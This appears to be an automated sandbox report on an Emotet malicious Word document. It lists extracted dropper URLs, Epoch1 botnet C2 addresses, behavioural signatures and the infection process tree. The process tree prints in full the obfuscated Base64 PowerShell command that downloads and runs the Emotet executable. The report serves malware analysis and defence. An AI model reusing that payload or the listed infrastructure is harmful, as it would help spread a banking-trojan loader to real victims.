Analysis

  • max time kernel
    135s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    26/10/2020, 10:03

General

  • Target
    emotet_e1_6c8bfd57277439037aeb95048c523ea5d18f98bf548d73dd699989aafda23971_2020-10-26__100101135901._fpx.doc
  • Size 172KB
  • Sample201026-lv1dmsvbxa
  • SHA256 6c8bfd57277439037aeb95048c523ea5d18f98bf548d73dd699989aafda23971
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://inbichngoc.com/wp-admin/S/

  • exe.dropper

    http://ulkucusarkilar.com/networko/wN/

  • exe.dropper

    http://rise-creative.com/cgi-bin/K/

  • exe.dropper

    https://celestinastore.com/old/rB/

  • exe.dropper

    https://ferreteriassolano.com/wp-content/x/

  • exe.dropper

    https://aryacreations.com/wp-includes11/tf/

  • exe.dropper

    https://www.sinapsisenergia.com/customerl/tE/

Extracted

Family
  • emotet

Botnet
  • Epoch1

C2
  • 81.214.253.80:443

  • 94.23.62.116:8080

  • 98.103.204.12:443

  • 59.148.253.194:8080

  • 197.232.36.108:80

  • 74.58.215.226:80

  • 79.118.74.90:80

  • 181.123.6.86:80

  • 5.89.33.136:80

  • 137.74.106.111:7080

  • 189.223.16.99:80

  • 187.162.248.237:80

  • 181.61.182.143:80

  • 129.232.220.11:8080

  • 178.211.45.66:8080

  • 45.33.77.42:8080

  • 94.176.234.118:443

  • 128.92.203.42:80

  • 12.162.84.2:8080

  • 212.71.237.140:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_6c8bfd57277439037aeb95048c523ea5d18f98bf548d73dd699989aafda23971_2020-10-26__100101135901._fpx.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1508
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD cwBFAHQALQBJAFQAZQBNACAAKAAnAFYAQQBSAEkAQQAnACsAJwBiAEwAJwArACcARQA6ADIAbAB5ACcAKQAgACAAKAAgACAAWwBUAFkAcABlAF0AKAAiAHsAMwB9AHsAMQB9AHsAMAB9AHsAMgB9ACIALQBGACcAdAAnACwAJwBjACcALAAnAG8AUgB5ACcALAAnAFMAeQBzAFQAZQBNAC4ASQBPAC4AZABJAHIARQAnACkAIAApACAAOwAgACAAJAA1ADkAdQBQADMAPQAgAFsAdAB5AHAARQBdACgAIgB7ADQAfQB7ADAAfQB7ADUAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADEAfQAiACAALQBmACcAUwBUAGUAbQAnACwAJwBBAG4AQQBHAGUAUgAnACwAJwBlAFQALgBzAGUAcgBWACcALAAnAEkAQwBFACcALAAnAFMAWQAnACwAJwAuAE4AJwAsACcAcABvAGkAbgBUAE0AJwApADsAIAAkAEUAbgA1AGcAeAB3AHIAPQAoACgAJwBBAHQAJwArACcAMgAnACkAKwAoACcAZAAnACsAJwAyADMAJwApACsAJwA1ACcAKQA7ACQARABsAHkAcQBuAHUAbQA9ACQARAA1ADMAcQB3AHMAZQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQATwB0AHgAMgBfAHQANwA7ACQASAB4AGoAYQAxAGcAbQA9ACgAKAAnAFMAJwArACcAOQBzAGgAeAAnACkAKwAnAHIAJwArACcAaQAnACkAOwAgACAAKAAgACAAVgBBAHIASQBBAGIAbABFACAAIAAoACcAMgAnACsAJwBsAHkAJwApACAAIAAtAFYAQQBMAFUAZQAgACAAKQA6ADoAIgBjAFIAZQBgAEEAVABFAGAARABJAFIAZQBDAHQAbwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQAnACsAKAAnAFUAJwArACcAZwBnAHQAJwApACsAJwAxAG4AdgB7ADAAJwArACcAfQBGAGwAJwArACcAbgAnACsAJwBfAGIAJwArACcAeQBhAHsAMAB9ACcAKQAgAC0ARgBbAEMASABhAFIAXQA5ADIAKQApADsAJABNAGcANQBoADgAdgBvAD0AKAAnAEcAeQAnACsAKAAnAHgAJwArACcAZABfADEAagAnACkAKQA7ACAAIAAkADUAOQB1AFAAMwA6ADoAIgBTAEUAQwB1AHIAYABJAFQAeQBgAHAAYABSAE8AVABPAGMAYABPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAFEAawA0AGUAcwA1AHIAPQAoACcATQAnACsAKAAnAHcAJwArACcAMgAnACsAJwB6AGEAOQB1ACcAKQApADsAJABUAHMANAB1AHgANABiACAAPQAgACgAKAAnAEgAZwAnACsAJwBqACcAKQArACcANQAnACsAJwB6AHkAJwApADsAJABTAGoAdgAzAGMAdQBpAD0AKAAoACcAWgB5ACcAKwAnAF8AJwApACsAJwB1ACcAKwAoACcAbQAnACsAJwB6AGUAJwApACkAOwAkAFIAegA2ADIAawA1AHoAPQAoACcASAAnACsAKAAnAGUAJwArACcAdQA0ACcAKQArACgAJwA1ACcAKwAnAHIAcQAnACkAKQA7ACQAUAB0AHAAOABvAG8AaAA9ACQASABPAE0ARQArACgAKAAoACcAcwA0ACcAKwAnAGgAJwArACcAVQBnAGcAJwApACsAJwB0ADEAJwArACcAbgAnACsAKAAnAHYAJwArACcAcwA0AGgAJwApACsAJwBGAGwAJwArACgAJwBuAF8AYgB5ACcAKwAnAGEAJwApACsAJwBzACcAKwAnADQAaAAnACkALgAiAHIAZQBgAHAAbABgAEEAYwBFACIAKAAoACcAcwA0ACcAKwAnAGgAJwApACwAJwBcACcAKQApACsAJABUAHMANAB1AHgANABiACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAWgAxAGQANgA5AGIAcAA9ACgAKAAnAEYAJwArACcAcAA0ACcAKQArACcAYQAnACsAKAAnAGEAbwAnACsAJwBoACcAKQApADsAJABDAGkAMQA0AGMAZgBqAD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAEUAdAAuAHcAZQBCAGMAbABJAEUATgBUADsAJABKAHAAdABlAHIANQBpAD0AKAAoACcAaAB0AHQAJwArACcAcAA6AFsAIAB3ACcAKwAnAGUAIABdACcAKwAnAFsAJwApACsAKAAnACAAdwAnACsAJwBlACAAXQAnACsAJwBpAG4AYgAnACkAKwAnAGkAJwArACcAYwAnACsAJwBoACcAKwAoACcAbgBnACcAKwAnAG8AYwAnACsAJwAuAGMAbwAnACkAKwAoACcAbQBbACAAdwBlACcAKwAnACAAXQB3AHAALQBhACcAKwAnAGQAbQBpAG4AWwAgAHcAZQAnACsAJwAgACcAKwAnAF0AJwArACcAUwBbACcAKQArACcAIAAnACsAKAAnAHcAZQAgAF0AJwArACcAQABoAHQAdAAnACsAJwBwADoAWwAgACcAKwAnAHcAZQAnACsAJwAgACcAKQArACcAXQBbACcAKwAnACAAJwArACgAJwB3AGUAJwArACcAIAAnACkAKwAnAF0AJwArACgAJwB1ACcAKwAnAGwAawAnACkAKwAoACcAdQBjAHUAJwArACcAcwAnACkAKwAoACcAYQByAGsAJwArACcAaQAnACkAKwAnAGwAJwArACgAJwBhACcAKwAnAHIALgBjAG8AbQAnACsAJwBbACAAdwBlACcAKwAnACAAXQBuAGUAdAB3ACcAKwAnAG8AcgBrAG8AJwApACsAKAAnAFsAJwArACcAIAB3AGUAJwArACcAIABdAHcAJwApACsAKAAnAE4AWwAgACcAKwAnAHcAJwApACsAKAAnAGUAIAAnACsAJwBdACcAKQArACcAQAAnACsAKAAnAGgAJwArACcAdAB0AHAAJwArACcAOgBbACAAdwAnACsAJwBlACAAXQBbACcAKQArACgAJwAgAHcAZQAgACcAKwAnAF0AcgAnACkAKwAoACcAaQBzACcAKwAnAGUALQBjAHIAZQAnACsAJwBhAHQAaQB2AGUALgAnACsAJwBjAG8AbQBbACAAJwApACsAKAAnAHcAZQAnACsAJwAgAF0AJwApACsAKAAnAGMAZwBpAC0AYgAnACsAJwBpAG4AJwArACcAWwAgAHcAJwApACsAJwBlACcAKwAnACAAJwArACgAJwBdAEsAWwAgAHcAZQAgAF0AJwArACcAQABoAHQAdAAnACsAJwBwACcAKQArACgAJwBzACcAKwAnADoAWwAgACcAKQArACgAJwB3ACcAKwAnAGUAIABdAFsAIAB3ACcAKwAnAGUAIAAnACkAKwAoACcAXQAnACsAJwBjAGUAbABlAHMAdABpACcAKwAnAG4AYQBzAHQAbwAnACkAKwAoACcAcgBlAC4AYwAnACsAJwBvACcAKwAnAG0AWwAgAHcAJwArACcAZQAgACcAKwAnAF0AbwBsACcAKQArACcAZABbACcAKwAnACAAdwAnACsAKAAnAGUAIAAnACsAJwBdACcAKQArACgAJwByACcAKwAnAEIAWwAgACcAKQArACgAJwB3AGUAJwArACcAIAAnACsAJwBdAEAAaAB0AHQAJwApACsAKAAnAHAAJwArACcAcwA6ACcAKwAnAFsAJwArACcAIAB3AGUAIABdAFsAJwArACcAIAB3AGUAIABdACcAKQArACgAJwBmAGUAcgByAGUAJwArACcAdAAnACkAKwAnAGUAcgAnACsAKAAnAGkAYQAnACsAJwBzAHMAJwArACcAbwBsAGEAJwApACsAKAAnAG4AJwArACcAbwAuAGMAbwAnACkAKwAoACcAbQBbACAAJwArACcAdwAnACkAKwAoACcAZQAgAF0AdwAnACsAJwBwACcAKwAnAC0AYwBvAG4AdABlACcAKQArACgAJwBuAHQAJwArACcAWwAgAHcAZQAnACkAKwAoACcAIAAnACsAJwBdAHgAWwAnACkAKwAoACcAIAB3AGUAJwArACcAIABdACcAKQArACgAJwBAAGgAdAB0ACcAKwAnAHAAcwA6ACcAKwAnAFsAIAAnACkAKwAoACcAdwBlACAAXQAnACsAJwBbACAAdwBlACAAJwArACcAXQAnACkAKwAoACcAYQAnACsAJwByAHkAJwApACsAKAAnAGEAJwArACcAYwByAGUAYQAnACkAKwAnAHQAaQAnACsAKAAnAG8AJwArACcAbgBzAC4AJwApACsAKAAnAGMAJwArACcAbwBtAFsAJwApACsAKAAnACAAdwAnACsAJwBlACcAKQArACgAJwAgAF0AJwArACcAdwAnACkAKwAoACcAcAAnACsAJwAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAJwApACsAKAAnAGQAZQBzADEAMQAnACsAJwBbACcAKwAnACAAdwAnACsAJwBlACAAXQAnACkAKwAoACcAdABmAFsAIAAnACsAJwB3AGUAIAAnACkAKwAoACcAXQBAACcAKwAnAGgAJwApACsAKAAnAHQAdABwACcAKwAnAHMAOgBbACcAKwAnACAAdwBlACcAKwAnACAAXQBbACcAKQArACcAIAB3ACcAKwAoACcAZQAgAF0AdwB3AHcAJwArACcALgAnACsAJwBzAGkAJwArACcAbgBhACcAKwAnAHAAcwAnACkAKwAoACcAaQBzACcAKwAnAGUAbgAnACsAJwBlAHIAJwApACsAKAAnAGcAaQAnACsAJwBhAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAFsAJwApACsAKAAnACAAdwBlACcAKwAnACAAXQBjACcAKQArACgAJwB1AHMAJwArACcAdABvACcAKQArACgAJwBtAGUAcgBsACcAKwAnAFsAIAB3ACcAKwAnAGUAIABdAHQAJwApACsAKAAnAEUAWwAgACcAKwAnAHcAZQAgACcAKwAnAF0AJwApACkALgAiAFIAZQBwAGwAYABBAEMARQAiACgAKAAnAFsAIAAnACsAKAAnAHcAJwArACcAZQAgACcAKQArACcAXQAnACkALAAnAC8AJwApAC4AIgBzAGAAUABMAEkAdAAiACgAJABGAGkAdwBlADYAOABrACAAKwAgACQARABsAHkAcQBuAHUAbQAgACsAIAAkAE8AOQByADkAXwBxAG4AKQA7ACQARgBnAHUAeAB2AGoAYQA9ACgAJwBIACcAKwAoACcAcAB0ADYAYgAnACsAJwB5ACcAKwAnAHgAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFUAaQBoAG4AbABlAHEAIABpAG4AIAAkAEoAcAB0AGUAcgA1AGkAKQB7AHQAcgB5AHsAJABDAGkAMQA0AGMAZgBqAC4AIgBkAG8AdwBOAGAATABvAEEAZABgAEYAYABpAEwAZQAiACgAJABVAGkAaABuAGwAZQBxACwAIAAkAFAAdABwADgAbwBvAGgAKQA7ACQAWABnAHcAdgA3AGwAMAA9ACgAKAAnAEsAaABrACcAKwAnAF8AJwApACsAKAAnAHYAcgAnACsAJwBwACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFAAdABwADgAbwBvAGgAKQAuACIATABgAEUAbgBnAFQAaAAiACAALQBnAGUAIAA0ADUANQA5ADkAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAJwArACcAbgAnACsAJwAzADIAJwArACgAJwBfAFAAcgBvACcAKwAnAGMAZQAnACkAKwAnAHMAcwAnACkAKQAuACIAYwBgAFIAZQBBAFQAZQAiACgAJABQAHQAcAA4AG8AbwBoACkAOwAkAEgANQA2ADYAdQA0ADkAPQAoACcAWgAnACsAKAAnADYAcAAnACsAJwBvAHEANwAnACkAKwAnADcAJwApADsAYgByAGUAYQBrADsAJABQAGIANQA2ADQAeAA3AD0AKAAnAE0AaAAnACsAKAAnAG8AJwArACcAMABhAGIANAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVAA0ADIANgA0AGIAbgA9ACgAKAAnAFIAbgAnACsAJwA3AHIAdQAnACsAJwB6ACcAKQArACcAXwAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1644
  • C:\Users\Admin\Uggt1nv\Fln_bya\Hgj5zy.exe
    C:\Users\Admin\Uggt1nv\Fln_bya\Hgj5zy.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1316
    • C:\Windows\SysWOW64\mobsync\setup16.exe
      "C:\Windows\SysWOW64\mobsync\setup16.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:1116

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/824-19-0x000007FEF6B50000-0x000007FEF6DCA000-memory.dmp

        memory/1116-17-0x00000000002E0000-0x00000000002F5000-memory.dmp

        memory/1116-18-0x0000000000300000-0x0000000000313000-memory.dmp

        memory/1316-12-0x0000000000240000-0x0000000000255000-memory.dmp

        memory/1316-13-0x0000000000260000-0x0000000000273000-memory.dmp

        memory/1508-0-0x0000000000802000-0x0000000000806000-memory.dmp

        memory/1508-8-0x0000000000550000-0x0000000000551000-memory.dmp

        memory/1508-2-0x0000000000802000-0x0000000000806000-memory.dmp

        memory/1508-1-0x0000000006140000-0x0000000006144000-memory.dmp

        memory/1644-5-0x000000001ABD0000-0x000000001ABD1000-memory.dmp

        memory/1644-10-0x000000001C400000-0x000000001C401000-memory.dmp

        memory/1644-9-0x000000001C370000-0x000000001C371000-memory.dmp

        memory/1644-7-0x0000000002430000-0x0000000002431000-memory.dmp

        memory/1644-6-0x0000000002540000-0x0000000002541000-memory.dmp

        memory/1644-4-0x00000000023F0000-0x00000000023F1000-memory.dmp

        memory/1644-3-0x000007FEF5C00000-0x000007FEF65EC000-memory.dmp